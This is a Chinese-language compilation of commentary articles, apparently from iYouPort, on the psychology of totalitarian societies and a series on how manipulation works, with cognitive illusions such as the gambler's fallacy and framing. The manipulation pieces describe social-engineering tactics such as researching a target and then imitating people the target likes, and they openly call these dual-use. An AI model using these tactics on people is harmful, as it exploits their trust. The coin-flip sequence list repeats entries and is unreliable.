具体分析两种特色级性格，是它们共同构成了极权体制，削弱其规模有助于顺利转型，避免迭代。

阻碍型性格

具有这种性格的人，是压制机构中的士兵、服从命令者、恭顺的臣民和依赖性最强的幼儿，他们顺从权威，信仰权威。他们不具备拥有个人观点的能力，大部分时候缺乏独立的判断，但是他们能很快获悉并学习最受大众欢迎的观点，最终也使之转化为自己的观点。

敢于独立判断、拒绝人云亦云的勇气在他们身上不断被矫正、被消磨。缺乏自我肯定和自信，因而饱受自卑、恐惧、精神抑郁和焦躁的折磨，他们的生活信条是：“小心、千万不能做错事、可能会有灾祸降临在我头上、我必须保护自己、所有的一切都毫无意义、我什么也做不了、我太弱小了，改变不了什么”……消极、退却、屈从和认命的态度给过去的生活打下烙印。

本群不要谈政治、别说了小心查水表、你做不了太多好好活着才要紧、想想父母家人就别折腾了……这些观点愈加常见。

萎靡、懒散、无助、消极抵抗、痛苦、悲叹、抱怨 ——人们用这些方法对令人沮丧的经历进行无意识的报复，而这些经历原本非自愿，继而又被迫沉入心底。

在与这种类型的人交往时，“能量交换 ”通常会慢慢消失，谈话停滞不前，变得纠缠不清，生活仿佛被一团忧郁的阴霾笼罩着、压迫着，谈话的双方很快都会觉得精疲力竭。感情的输送似乎掉入一个 “无底洞 ”，既不能 “感染 ”对方也得不到有效回应，就像撞上一面布满麻木和猜疑的土墙。

主导并支配人们所思所想的是不信任（生活是危险的，没有人真正理解我、没人会真的爱我 ）和怀疑（这一切都没有意义，我势单力薄永远也不会成功），其表现则为苦思冥想、犹豫不决、缺乏决断力（就算我作决定，也可能是错的，会遭到鄙视，还不如首选认同）。

具有阻碍型性格的人群成为专制体制最合适的仆从，这些人维护现有的制度体系，并阻止一切社会变革。他们唯命是从，是自愿被 “驱遣 ”的受害者；同时他们又具有供养型思想形态，舒服地寄生在这个体制中成为 “施暴者 ”的一员。

这种性格扭曲本身也是对被阻滞的生活的一种代偿。在这种生活中，人们必须消耗能量来抑制和妨害自己的内心，他们先是停滞在口欲期，然后幻想获得代偿，然而这些仆役们最终很快就被他们附庸的体制敲骨吸髓了。他们懒惰、依赖性强又为数众多，很有可能会建立另外一个新的专制型社会体系。

他们在体制外，或许能理解极权之恶，但不会真正的反对体制。他们只能适应做奴隶的生活，否则就必须再次背负沉重的人生、重新经历并忍受性格上的束缚。这对他们大多数人来说比承受最血腥的暴政还要可怖，或更糟糕。

「图」

「图」

强迫性人格

尽管在广阔的领域内，尤其是在国家安全方面，人权已经被长久性地歪曲了，但对整个国家机器而言，国家内部的法制程序却始终是要予以保障的。维稳机器喜欢说“多加小心，别踩到红线、别给自己找麻烦”，它们更喜欢标榜“法治社会、依法治国”。

在一个法制观念和法制精神已经完全处于病态的社会体制中，法律与秩序却是最高准则。从广泛的角度来说，人们只需向外踏出必要的一步，仅一步而已，但一个强迫型性格的人却不敢这么做。他们甘愿只生活在向他施以重压的小圈子内，不越雷池一步——我们通常讲到“红线意识”的时候一般是指党管媒体下的新闻机构，但该意识其实是社会性的，就如政治反对者所言：在“现有的法治框架”下没有真正的反对。

这种被束缚的思维和被 “修剪 ”过的人生经验也就能解释，为什么这类人总是适合接受并完成某些任务。如果之后追究他们的责任或询问理由时，他们的辩解也总是在那个小圈子里打转。他们的生活范围是狭窄且僵化的。

研究强迫型性格不能无视追名逐利的功利观。这种功利观常常会发展为对这种病态人格的代偿——当影响力、被认同和生计稳定的感受能带给他们很大的补偿时，这种性格的人便会更加积极的表现。

一个人越是强烈地追求权力和影响力 ，他抵抗自身缺陷综合症行为的心理动机就越可疑 。

强迫型性格的工作狂和野心家们也照样会性格紊乱，依旧为政府卖命。他们是这个体制赖以运转的车轮：积极分子、技艺精湛的工匠师傅、最好的工人、领导、官僚分子、干部以及文化、艺术及科学名流。强制性束缚和自身主动的情感克制需要消耗生命能量，并促使个体进行必要的代偿。他们的能量先被阻滞，接着被引导为这个体制服务，这些人因此得以继续生存。他们肯定会将这些束缚复制到新的体制之中，主要是复制所谓能够飞黄腾达的功利原则。他们还热衷于那些经常出现在政治宣传中的有关富裕、进步和腾飞的预言。

他们是技术至上论者、冷静的算术家和脑力超载的理性主义者，并以他们对科学的信仰来获得支撑。人们失去了生活、感情和涌动的欲望，却认为这会通过科技成功、征服自然和社会成就来弥补。这些人内心软弱，自我价值认同受到了伤害，由于被迫适应外界压制，自主性也出现问题，他们对权威唯命是从，接受严厉命令，并以它们为准建立其内心准则，造成强迫型性格。

极权主义的统治一方面生产这种性格，一方面又将这种性格形态继续传播下去，以此令这个体制千秋万代永远存在。

社会角色

「图」

「图」

社会角色是指由于职业、职能和分工的不同而具备的综合性行为规范以及行为主体特殊者的性格特征，这一行为主体则需要很好的迎合这一角色的期望和要求。

阻碍型和强迫型性格是两种独裁性格的变体 ——一个更被动（阻碍型），一个更主动（强迫型）。阻碍型的仆人们不情愿地执行强迫型的独裁者们强制下达的命令。许多人认为服从命令和下达命令是 “非常令人愉快的 ”。这说明，心灵的束缚已经无法使人们拥有自然状态下的喜悦了。

在家庭、伙伴关系，特别是在等级分明的机构中、和官僚主义的国家机器中，我们能够发现这两种典型性格。它是国家/政党和人民之间最基础的关系。因此，考察社会中特定人格的扭曲，可以判定此人特定的社会角色。

要理解社会角色的双重意义：在束缚人的同时，它又给予人支持和安全感；它为社会的基础设施服务，但也可能因规定过于严苛而扼杀人们的公共生活；它鼓励、发展并认可某些特定的能力，但也能够强化现有束缚，并可能因为服务于某些特定需求而被滥用。

对于那些有缺陷综合症、情绪淤积的人来说，社会角色能够提供理想的机会，让他们融入必须完成的任务，适应已有的关系，消除内心的紧张，忘却原有的心愿和渴望，在尽可能完美的角色扮演中获得成功和肯定。但就如前文中的分析，这种满足并不能真正让人放松，所以人们不得不强迫症似地、上瘾般地重复这一角色。由此，人们开始“为了扮演它而去扮演它”。

~ ~ ~ ~ ~ ~ ~ ~

极权社会里共存着一系列最常见、最具特色的社会角色，它们典型的性格反映了这个国家的社会特征，这些角色是：当权者（体制内高层）、野心家（以亲体制为投名状削减脑袋“往上”爬的人）、从众者（性格怯懦无主见，感知到“主流”便一概拥护的人）、反对派（持不同政见者，基本是无党派人士）、出走者（因遭受或担忧政治迫害而远赴他国的人）、和空想家（作家、艺术家、心理学者等知识分子）。一个人身上不一定只存在一种角色。

其中对于“空想家”的定义可能需要解释一下：他们基本都拒绝空话、套话和虚假的表忠心，宣扬和平、社会公正、人权等最根本的价值观，空想家的阐释和表述听起来真实而令人信服，也揭露了社会体制的欺骗性。他们的工作同样担负着风险，随时有可能遭遇打压。然而，空想家们的影响也呈现出了两种截然不同的形式：一方面，他们保卫了人类最基本的价值观念；另一方面，他们却在不经意间接完成了一项职责，那就是让受众在机会主义的惬意里轻松生活。

他们是在没有真正的自由、距离、忽视内心以及没能完全舒展开的情况下创作的（或者说反抗），这是一种极其复杂的心理代偿形式——全心为别人考虑的同时却刻意隐瞒自己的痛苦。

这个专制社会中的人们不能被简单地划分为受害者和施害者，明确这一点很有必要。所有人都被畸形社会的“病毒”感染了，每个岗位都同时兼有受害者和施害者的双重身份。但可以肯定的是，二者的权重人人有别，所背负的真正意义上的罪愆也大相径庭。无论他选择了何种社会角色，道义上他还是要为自己负责。

不同的社会角色都戴着相同的、严肃认真的面具，而这面具最重要的意义就在于隐藏和抵消内心的缺陷综合症。如果不能认识和鉴定这些事件背后的心理动机，“转折点”则有可能会成为一种错觉。〇

完整版：

《诊疗笔记：求极权社会的心理阴影面积（1）》

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

广告

原文

发现你生活中的操纵者：在叙事矩阵的边缘（1）- iYouPort

让你只想到我希望你想的东西

红色药丸还是蓝色药丸？你随便选 ……

「图」

「图」

世界上真正的基础货币不是黄金，也不是官僚的命令，甚至不是军事力量。而是叙事，以及控制它的能力。

一切都归结为这一真实货币。

如果您查看所有那些智囊团、非政府组织、媒体、和捐赠网络，就会发现，这些亿万富翁投入的钱实际上是在做什么；就会发现，它最终可以归结为控制人们讲述世界动态的主导故事。

「图」

「图」

上图中这本书您可以在这里下载：https://t.me/iyouport/6838

如果您想了解叙事管理在世界上的运作方式，请首先注意叙事管理在您自己生活中的作用。

比如，在您的家庭中，也许是关于您的一个家庭成员，有哪些流行的叙述无法反映现实？在您的直系亲属或大家庭中哪些说法是禁忌的，为什么？哪些人在反复重复叙述他们自己是什么样的人、或者您是什么样的人？

大多数人在自身所处圈子中的某个地方至少有一个强大的叙事操纵者；家庭圈子、朋友圈子、工作圈子等，您可以观察他们投入了多少精力就圈子中的某人的叙事达成共识以污蔑他们；努力使自己的叙事

变得好看，或者让那些对别人的叙事变得难看？

留意您生活中的任何人，注意他们是否试图操纵您对他们的叙述，这些人会反复告诉您有关他们是什么样的人的故事。

还要注意那些不断告诉您有关您自己是什么样的人的叙事，因为他们试图操纵您对自己的叙述。

尤其要注意后者。

找出自己生活中的操纵者，观察他们的模式，然后环顾周围和世界，并将这些模式与您在政府和媒体中看到的模式进行比较。您会在宏观尺度上看到完全相同的东西。

无论规模大小，操纵都采用相同的形式。

人们会为自己的同胞而感到生气，因为他们没有站起来抵抗不公并强迫进行真正的改变。也会为了那些没有离开虐待关系的亲人而生气。然而，人们很少去做的就是仔细观察，你会发现这两者都是操纵的受害者，这使他们无法改变自己的处境。

每当我们谈论宣传如何影响公众的行为时，总会有人跑来指责你忽视了个体的判断力："你当人们都是傻的吗"，但是，唯一相信这一点的人是那些相信不可能通过媒体影响人们的决定的人—— 那些已经被成功操纵的人。宣传者和广告商都会嘲笑这个想法的。

我们中很多人通过不断的关注和分析来曝光媒体和政客的谎言，他们孜孜不倦。但是，这种做法事实上很徒劳，而且愚蠢。因为它们会不断故伎重演，而大多数人会不断上当，而你的分析和批驳很可能只是让那些谎言被更多的人看到了—— 每一次提及它们都是在协助它们的宣传，给它们更大的知名度。它们能维系居高不下的知名度的根本很大程度上取决于恶意愚蠢效应。

「图」

「图」

这是一个无边无际的宣传网络，为大屠杀、压迫和剥削骗取了公众的同意，除了彻底消除之外，别无他用。扔掉它们所有，这是唯一办法。

就如去年火热的弹劾话题，对于那些缺乏计算参议院席位能力的人来

说，所有这些弹劾工作都是令人兴奋的。但是，没有人提及布什的酷刑丑闻和撒谎成性，那场战争屠杀了一百万人。

如果这是一个民主党人会因战争罪行而弹劾共和党总统的世界，那当然是极好的。不幸的是，这种情况不会发生，因为（A）他们在此过程中牵扯了无数民主党人，并且（B）他们希望在重任后能够继续实施自己的战争。

任何警告弹劾会分散注意力绕避更重要问题的人都会被告知 “我们可以同时走路和嚼口香糖！我们可以推动弹劾同时推进进步议程！” 说这些话的人只是过去三年来专注于俄罗斯的同一批人，并没有推进进步议程。

再如沉迷于中国和美国的嘴炮之掐的人，他们不断被提醒的只是 “你支持谁？迅速作出决定！”；而不是：这他妈有什么意义？

嘴炮，它的意义究竟在哪里？有利于终结人权灾难吗？有利于终结疫情让人们恢复正常生活？还是有利于找到病毒真正的起源为今后的防疫提供准确的信息？……

你信任美国政府还是中国政府？你想成为谁的奴隶，美国国安部还是中国国安局？红色药丸还是蓝色药丸？土豆还是洋芋？……

这些愚蠢的选择题臭名昭著，学术层面它被称为 “虚假困境”，即 本不应该存在的抉择。它是一个圈套，它的目的仅仅是让你看不到其他也许能真正有效的可能性。

改变信仰被认为是一种勇气，就如人们会赞赏那些[中文网络用语]“粉红转黑”；但是，不幸的是，当某人改变为新的信仰系统时，他们的注意力仅仅是进入了该新信仰系统，而不是拥有难以置信的超能力可以随时随地质疑任何信仰中的操纵行为。

从习惯于阅读人民日报道转变为习惯于阅读华盛顿邮报？从信赖百度转向信赖谷歌？把华为换成苹果？ …… 你在选择什么颜色的药丸？

操纵者想要你回答的只是这个问题。他们说，你是自由的，你的一切选择都是来自你的内心，跟随你的心意吧 …… 反正不论如何你永远都处于那只手掌心里。

这就是操纵。真正的操纵是 *让你自己去做决定*，给你一种自由选择的假象，而决非是要求你选择什么，后者经常难以成功。

想我让你想的东西，说我希望你说的话，思考我想让你思考的问题。这就是操纵。

事实上做到这点并不难，但是识别它，却很不容易，因为那些想法看起来就像是来自你的内心。事实上完全不是。

有些人会鄙视这种说法，他们会说："我可没那么容易上当，我不看人民日报，不看罗永浩的表演，不读口炮的文字 …… 我完全可以摆脱操纵"。哦，不是这么简单的 —— 操纵可不止人民日报、罗永浩等东西。

「图」

「图」

The Americans

在互联网上，由于你的感官总是受到大量信息的轰炸，而你的大脑时刻萦绕着许许多多的想法，所以你已经形成了一个自动屏蔽系统来保护自己免于受到信息超载的干扰。

如果您不信，举个最简单的例子 —— 当您读到这段话的同时，您能意识到自己正坐在、站在、躺在哪里的感觉吗？您能看到窗外正发生什么吗？您能听到周边的一切吗？ …… 如果能，说明您没有在读这段话，只是盯着某个屏幕而已，如果不能，那就对了。感谢自动屏蔽系统。

是的，这个自动屏蔽系统的标准很大程度上受到环境的影响。不仅包括上述环境，也包括您的社交关系环境。不看人民日报有可能只是由于您周边的人都鄙视人民日报；但如果他们信任华盛顿邮报或其他企业媒体，很遗憾，您依旧在那只手掌心里。

有意识的关注就像一只照射在你关注的焦点上的手电筒，但它也是一个保镖，它决定哪些信息能进来，哪些信息必须留在外面，哪些信息应该呆在一边等着召唤。

但是，这样有意识地过滤并清除掉不受欢迎或不相关的想法，是有代价的：你记不住没有被放进来的任何事。

人们忘记事情的最常见理由就是有些信息由于一开始没有受到关注，因此很快就被遗忘了。

注意某件事物意味着能够在需要的时候集中焦点并且抵抗干扰。通过集中你的注意力，你还可以有目的地激活记忆，这既加强了你的意识，也增强了自主性注意力的过滤功能。

是的，“注意” 是一种有意识的行为，你可以有意识地注意某件事物，但是也可以无意识地这样做，这就是为什么人们可以在毫无觉察的情况下被操纵。这个现象被称为自动性注意力。

自动性注意力本身不是坏事，在有效训练的情况下它可以帮助您及时快速地分辨威胁值，而且，它是可以通过训练获得的一种能力。比如美国水军，通常有3个月的狙击训练，其主要目的就是练习自动性注意力。

训练过程中，士兵需要学会观察各种细节并准确地记住它们。不仅要注意到一个被丢弃的罐头，而且要学会思考其中的含义 —— 它解释了关于敌人的食物供给、士气、或者军队规模的哪些细节？

还记得我们的 “超强记忆力” 系列吗？就是那样。

这种训练一开始是有意识的训练。到最后就变成了一种增强警惕心的无意识自动能力。获得这种能力非常有好处，也是IYP正在进行的 “在灾难中幸存” 系列内容中讲述的基本技能。

现在您知道了，您可以通过训练和学习控制自己的自动性注意力，利用它来排斥操纵和诱导。您可以做到。

这里是一个新的系列内容，我们将通过讲述操纵是如何进行的，从而帮助您识别和抵御它们。本文是开篇，希望能对您有所帮助。

我们下次见！〇

原文

诱导和操纵他人的基本逻辑：让你只想到我希望想的东西（1） - iYouPort

让你只想到我希望你想的东西

这是一个新的系列，主题是反操纵、反诱导、反欺骗。要想做到避免被操纵，首先您应该了解的就是操纵是如何实现的 ……

「图」

「图」

IYP的分类知识列表中有一个单独的类目“斗智”，其中收纳的内容都是能够帮助您以智慧为武器进行斗争的方法。本系列将作为一个独立板块收入其中。

每一种勇气都需要智慧作为根基，如果您的目的是取胜的话。

这些技巧可攻可防，这取决于您的行动策划；我们介绍的是基础零件， 就如乐高积木块，最终您可以使用它们拼出截然不同的作品。当然，与所有工具的提供一样，我们永远期待您的目标是正义的。

这个标题：“让你只想到我希望你想的东西”，就是洗脑的基本框架，而非“让你相信我希望你相信的东西”—— 因为直接这样做有可能适得其反。

那么如何做到这点呢？

「图」

「图」

您首先需要了解这种操纵是如何实现的，也就是它依仗的人类思维弱点。

👆上面那个图很有意思，它说出了一个普遍存在的现象，在任何国家都存在。

在与中国朋友交流的过程中我们听到一个笑话。它写了一句歌词，是所谓的红歌中的歌词，只有一句；红歌是那种多数人都会表示厌恶和嘲讽的宣传性文艺作品，但是这个笑话问："你有没有在心里哼出这首歌的旋律？"

我相信很多人会笑而不语。这是为什么呢？因为它已经成功进驻并占据了你的记忆储存卡，不论您的公开态度是对其的嘲讽鄙视还是厌恶抨击。

这个笑话并没有要求你去回忆这首歌的旋律，是您的大脑自动倒带了。这就是本文想要解释的 —— 这种操纵远不止红歌这么简单，而是您生活中遇到的绝大多数问题。并且，它是当权者和所有社交工程师最惯用的手段。

"我们好像在哪儿见过"

这不是一句烂大街的搭讪套话，而是心理操纵的模版。这个模版并不是直接使用的，而是以各种不同的方式隐晦地呈现。

人类有一种特殊的固执，一旦对某个事务形成了固定的观点，就会像设定了某个特定频道的收音机那样，不断强化这个观点。不管它是对是错。

这个观点频道就在你脑子里，它就想一个过滤器，会审查所有输入的信息，以决定哪些信息可以进来。

也就是说，只有符合已经被固定的观点的信息才能被允许进入 —— 换句话说，如果您讲述的是从未在他人脑海里形成认知的新东西，对方就很可能对你视而不见。

这也是为什么那些致力于营销的社交网络账户从不会发表创新的理念和观点，而是不断强调大众陈旧的思考方式，在原地打转。这样反而能帮助它们带来更多的流量。

同样，你很可能会有这样的经历，一桌人吃饭聊天，他人说的话您很可能不会完全听进去，除非对方说的是您熟悉的东西。就是这个道理。

虽然它是一个心理机制，但是它实际上是以人的身体运作为基础的。因为，如果你想要对周围输入的所有信息都做出反应，你的神经系统就会过载到爆炸，尤其是在互联网的信息消防栓时代。

所以，人的大脑总是在仔细挑选所接受的信息，排除掉那些与自己的既有认知不一致的东西。此外一切均视为噪音。

问题在于，人们并没有发现大脑在干这件事。

行为学家 Robert Zajonc 花了数十年的时间研究社会的认知过程。在密切根大学，他发现重复接触某个物品能让被试感觉这个物品越来越有吸引力。

简单说，人们与一件物品接触的次数越多，就越容易喜欢上它们。不论是一本书、一部电影，还是一套思考方式和认知逻辑。

然而，您可能经常没有意识到自己对于某个事物的态度受到了接触次数的影响。比如人们可能会说，那些整天看官媒报道的人不是依旧在批评政府吗？是的，但是你有没有发现，批评者一直在围着官媒的思考方式打转，几乎很难产生能够让那些宣传彻底失效的方式？…… 您知道我指的是什么。

即便在自主的表达中那套思考方式依旧在起作用。

这一切都是在无意识中发生的。官媒灌输给您的并非观点，而是上图中举例的那只 “碗”。在碗里和碗斗争是不会赢的，您需要的是一把锤子，打破那只碗。

无意识的认知是件有趣的事。它在非常多的地方发挥作用。

比如，人们会对那些熟悉起来的人产生好感，并且更容易受到后者的影响。并不是说您需要先套近乎才能操纵对方，因为，如果您的行为方式和外表能让对方想起自己熟悉的人，也会起到同样的 “一见如故” 的作用。然后您就可以顺利对其进行操纵了。

但你也会有这样的感觉，至少是在 *有意识* 认知的时候，即 如果总是接触同样的东西，过不了多久就会失去兴趣。比如被迫看很多次商业广告，疲倦感就会产生。的确如此，但是，这种情况属于有意识认知，与无意识认知不同。

就比如，您是否思考过自己为什么播放那首而不是这首歌？或者为什么选择这个牌子而不是其他牌子的牙膏？每个人都在自己选择接触和

不接触什么，一切似乎都在由兴趣掌握，但兴趣的“来源”也许大有深意。这就是无意识认知。

真正懂得重复的力量的人是希特勒的宣传部长戈培尔。他对大众采取的心理操纵基于一个简单的观察：“大众”往往把自己最熟悉的东西当成真相，而不论他们熟悉的是什么。

戈培尔说：“老百姓通常比我们想象的还要简单。因此，宣传应该基本做到简单和重复。要成功操纵大众意识，只能靠成功地将一个问题简化成最简单的元素，然后以这种简单的形式不断地重复它们。不管知识分子提出多少反对意见 ……”

「图」

「图」

但问题在于，你每天都能听到大量企图说服你的信息，它们不断重复着。但您肯定不会对所有这些重复信息都做出反应。因为您拥有相应的防御机制：思维跳跃和微意识。

这就是操纵者们较量能力的地方。

那么操纵者是怎么做的呢？以下总结一些最关键的操纵战术，帮助您识别那些坏家伙。

1、亲善关系

如上所述，人们更容易受到他们喜欢的人的影响。你越是喜欢这个人，你就越容易信任他说的任何话。

因此，当操纵者想要影响他人时，他要做的第一步就是，确保让对方喜欢上自己。

这也是我们的“社交工程”栏目中多次强调过的操纵者特点；间谍非常擅长这手。他们会采取大量的非语言技巧来向目标人展示自己和他们其实很相似。

也就是说，他要展示出一种共同点，从而创造出相识感。

推销员和政客当然也是这方面的能手。他们会不断地暗示你和他们是“同一条船上的人”，你们正在“为了共同目标而努力”。让你下意识觉得他在为了你的利益而工作、或者你们属于同一个群体。事实上可能

完全相反。

着装也是帮助增强认同感的因素之一。这很容易理解。如果您想要从建筑工人嘴里套出要紧的信息，一身名牌西装出场就真砸了。工人们会视您为老板阶级。不会对您说实话的。

这不是乱说。70年代有一个著名的实验，一群人被分为两种着装风格：嬉皮士和正统派，他们被要求走过校园，请求路过的学生帮他们换零钱以打投币电话。当他们和请求帮忙的对象在着装方面一致时，成功率达到2/3；当不一致时，成功率不到1/2。

美国曾经有一个心理学游戏的电视节目，其中有一集，制作人让一位女士举行了一场和平抗议，她穿成典型的环保主义者模样，发表了一场关于环保危机的热烈演讲，呼吁人们签署一份请愿书，内容是“立法禁止一氧化二氢”。

她得到了一百多个签名。签名的人们显然是被她激昂的演讲所打动了，演讲中说“一氧化二氢存在于你喝的每一种东西里，而大企业却没有采取任何措施来阻止它”…… 却没有人想想一氧化二氢是啥。

是水啊。

另一个假装亲密的方法就是，声称有相似的背景。

比如汽车推销员，他们经常被训练去注意顾客开的汽车的细节，以此来了解顾客的兴趣和背景。如果他们看到顾客车子里有一张摇滚乐CD，他们就会立刻说自己的儿子也参加了这场音乐会；如果看到顾客车子后备箱里有一个折叠帐篷，他们就会千方百计地让你知道他们有多喜欢野外郊游 ……

甚至他们会努力留意顾客带有哪个地方的口音，然后就会忽然说“记起来”在此地有亲戚。

对于您来说，如果一个陌生人正在展示您与他之间的“共同点”，那么请小心咯，接下来他就要开始操纵你了。

还记得我们在“劝导术”系列中讲述的故事吗？如下：

- 《警惕微妙的劝导术：虚假帮派—— 效力最强的宣传攻势》

2、移情

以上都是快速建立良好关系以实现影响操纵的好办法。但移情，也许更好。

移情指的是：您不需要直接与您的目标人拉近关系，而是让自己变得与您的目标人喜欢的人“相似”。

这是个超级好用的办法。但并不奇怪，相反，它就是生活常识。

您有没发现，现在的女朋友哪一点似乎有点像您的前任？…… 这是最粗略的案例。事实上移情的方法在大多数生活环境中都常见。

心理医生就擅长玩这手的。治疗师都明白，病人对他们产生的很多感觉，其实是病人对自己的父母或配偶的感觉，只不过这些感觉没有机会表达出来而已。

这就是移情。每位心理治疗师都应该警惕这点，因为这常常是很多病人似乎“爱上”心理医生的原因 —— 他们把自己的情感投射到了“懂他们的人”身上。

这样做非常容易，但是真正的情感归属另有其人。

对于操纵者来说，使用移情的方法类似制造这样的环境，即：你遇到一个人，而这个人让你想起另一个人。

如果另一个人是你不喜欢的人，那么你会不知不觉中对这个新遇到的人产生厌恶感。反之亦然。也就是说，唤醒了你曾经与某人建立起来的联系和情感，

可以假设这是在无意识中发生的。也就是说，您无需有意识地注意到这个人让您想起了谁，这种反应就会自动产生。

对于操纵者而言，熟悉移情的机制就可以掌握强有力的工具来“让你喜欢我”。操纵者要做的仅仅是所有行动者的基础功课 —— 侦查。尽可能多地了解你的目标人；他的朋友是谁、他的过去经历、他信任谁、他和谁交流最多 …… 等等。

这样的人肯定存在。

接下来就是要确保操纵者在遇到目标时表现得很像那个目标喜欢的人。比如通过行为模式、同样的衣服、同样的身体语言 …… 等等。

再一次，反之亦然。如果你想让目标讨厌你，尽早滚蛋，那么您只需

要模仿目标人讨厌的人就行了。

这也是为什么我们要不断强调：不要让陌生人太了解您，从任何角度上考虑都是危险的。

最后

本文是开篇；该系列不定期更新，为的是帮助您掌握操纵人心的技巧 …… 哈哈说反了，是帮您防御恶意的操纵。

本系列将安排在 列表- 3 “斗智” 中。您应该察觉到了，刚才没 “说反”；像我们提供的所有工具一样，它攻防兼备。

下次见，未来的大师们。〇

—— 未完待续 ——

原文

认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2） - iYouPort

让你只想到我希望你想的东西

您认为自己正在自由选择，但您可能不知道，不论您选什么，都是仅仅对我有利的

「图」

「图」

欢迎回来！

如果您错过了第一集，可以在这里回顾：《发现你生活中的操纵者：在叙事矩阵的边缘（1）》。

下面有4个问题，先不要着急回答，花点时间思考 ……

1、想象这样的场景：一种病毒已经变异为致命的病毒。预计第二年冬天会有600人受到这一病毒的威胁，但仍然有希望，人们可以提前种痘。

如果选择A方案，就有机会拯救200条性命，如果选择B方案，就有1/3的机会拯救600条性命，2/3的机会一个也救不了。那么应该选择哪一种呢？

2、王大锤和李小拴在抛硬币，头四次的结果如下：

王大锤：正面、背面、背面、正面

李小栓：背面、背面、背面、背面

那么，他俩中谁最有可能在下一次抛的时候能得到正面？

3、102、85、38、99、116。忘掉你刚才读到的这些数字，请回答下面这个问题：大约有多少个国家加入了联合国？

4、我抛了5次骰子，以下是三种可能的结果，当然，其中只有一种是正确的。那么，哪个才最有可能是真实的结果？

a) 4、4、4、4、4

b) 2、1、4、3、2

c) 2、4、2、4、2

正如您所知道的，人们总是会选择一个意识的解读，从接收到的信息中得出一个意识的推论，而不会选择随机运用哪一个解读。

进化教会了我们做出最有益的解读，但尽管如此，人们也经常会做出非常糟糕的解读和推论。这被称为“认知幻觉”。

这些认知幻觉让人们得出并且总是以同样的方式得出谬论。

有时候人们会重复错误的推论，比如坚持把似是而非的东西混淆成可信的东西。似是而非的结果与人们曾经的经验和观察有关，也与记忆中事情是如何发展的有关。

而概率则与数字有关。比如上面这些问题，其中两个问题直接与概率有关：抛硬币和掷骰子。那么我们可以从抛硬币的问题说起。您的答案是什么？

最常见的答案是，李小栓最有可能抛到正面，因为“他在前面已经抛出了很多次背面”。

这个错误极为常见。这种推论谬误往往导致原本很聪明的人在赌场上掏空了口袋 —— 因为他们觉得轮盘转停到黑色已经那么多次了，下一次就“肯定是红色”。

或者你相信“已经倒霉了那么多次，下一次就一定能否极泰来”。

☞ 但是，硬币每一次抛到正面或背面的概率总是50%，不论前一次抛到的是哪一面。

的确，事情的发展在长期而言是好坏参半的，但是，如果一直在不确定的情况下，你会得到同样多的正面和背面，轮盘的球也同样会多次

落在红色和黑色区域，你的人生也会经历同样多的好运和背运、阳光和阴雨。

但这一情况只有在你抛了足够多次的硬币、或转了足够多次的轮盘、经过了足够多的年月后，才会出现。如果您只看了一段过程，比如只抛5次硬币，每次抛出同一面的可能性和5次中抛到各种顺序的正面背面的可能性是一样大的：

- 正正正正正
- 背正正正正
- 正正正正背
- 正正正背背
- 正正正背正
- 正正背背正
- 正正背正正
- 正背背正背
- 正背正正正
- 背背正正正
- 正正背正背
- 正背背正背
- 正背正背正
- 背背正背正
- 背正背正正
- 背正正背背
- 正背正正背
- 背背正正背
- 背正正正背
- 正背背背背
- 正正背背背
- 背正背背背
- 正背背背正
- 背背正背背
- 背背背正正
- 背背背正背
- 正背正背背
- 背背背背正
- 背正背背正
- 背背背背背

如果你抛5次，就会得到以上任何一种结果，它们出现的概率基本上

是一样的。实际上无数次地抛下去，以上各种结果就必然会在某一次出现。

全部抛到正面和背面的可能性和抛到其他各种正面背面顺序的可能性是一样的。

对于王大锤和李小栓来说，第五次抛到正面和概率都是50%。那么为什么如此多的人没有这样想呢？为什么人们觉得连抛了4次背面下一次就“肯定”抛到正面？

这是因为人们将自己的经验和对概率的认识混合在一起了。

抛5次硬币会得出很多种不同的正面和背面的组合方式，但只有一种是 “背背背背正”。由于大部分可能的组合都包含这种或那种顺序的正面和背面，所以人们的经验中更常看到的状况是两面都有，而很少看到连抛4次都是同一面的情况。

这就对了。只要你不考虑每一面出现多少次，以及它们组合的顺序是什么的话。

如果你考虑这点，就会意识到，每当你连抛4次硬币，不论得到哪一种正面和背面的组合，它都和最后一次抛硬币得到的组合一样独一无二或常见。

不论前四次抛的顺序是什么，哪怕得到的结果完全是背面或正面，下一次抛出正面的概率总是50%。

⚠ 请注意，正是这种思维方式会导致人们对人生的误判，而不仅仅是在赌桌上 —— 在每一次您回顾过去并开始判断接下来会发生什么时，都非常容易陷入这种陷阱。

但这仅仅是一点皮毛，人类的奇怪思维非常丰富，完全超乎你的想象。

比如，我们来打个赌。我要给你一百块，或者我们来抛硬币，如果你赢了，我给你200块，如果你输了，你就什么也得不到。你选哪个？

或者，我要给你300块，接着，你必须还给我100块，否则我们抛硬币；如果你赢了，你就一分钱都不需要还给我，如果你输了，你就要还给我200块。你会选哪样？

对于上述第一个问题，大部分都会选方案一；对于上述第二个问题，

多少人会选方案二。但实际上，选哪个方案完全不重要。

如果我知道采取某个行动之后得到100块的概率，那么选择这一行动的期望值就是：100块。如果我只有50%的概率得到200块，那么这一选择的期望值也是100块。

现在您明白了？这一选择需要您用200块乘以50%。

☞ 这就意味着，在逻辑上、数学上、和科学术语上，第一个问题向您提出的两种选择都具有相同的期望值。以此看来，不论您选哪一种方案，都没什么区别。第二个问题也是同样的道理。

但是，在人们的心理层面却不是这么计算的 —— 人们对得到什么东西的概率和失去什么东西的概率，有着截然不同的态度。

如果一个人可能失去所拥有的事物，比如你必须给我100块，那么这个人就宁可冒着更大的风险来避免这点。但是，对于赢得某个不曾拥有的事物，一个人就会变得比较保守，不愿意冒险了。

这就是为什么在计算收益的问题中，大多数人都会选择确定能得到100块的原因；但是，在冒着失去已有事物的问题时，人们则更容易赌一把，选择抛硬币。

如果您再回过头去思考文章开头的问题一，关于病毒的问题，您会明白，它是一样的道理：两个选择都具有相同的期望值，即：挽回200条性命—600的1/3。你选哪一种方案都是一样的。

但是，现在我们重新表述一下这两个选择：

如果我们选择方案A，400人会死掉；如果我们选择方案B，有1/3的机会拯救600条人命，2/3的机会一个都救不了。那么应该选择哪一种呢？

在方案B中，仍然有1/3的机会让每个人都获救，但是在方案A中，突然有400人必须面对死亡。这是不是就会让方案B听起来更诱人呢？

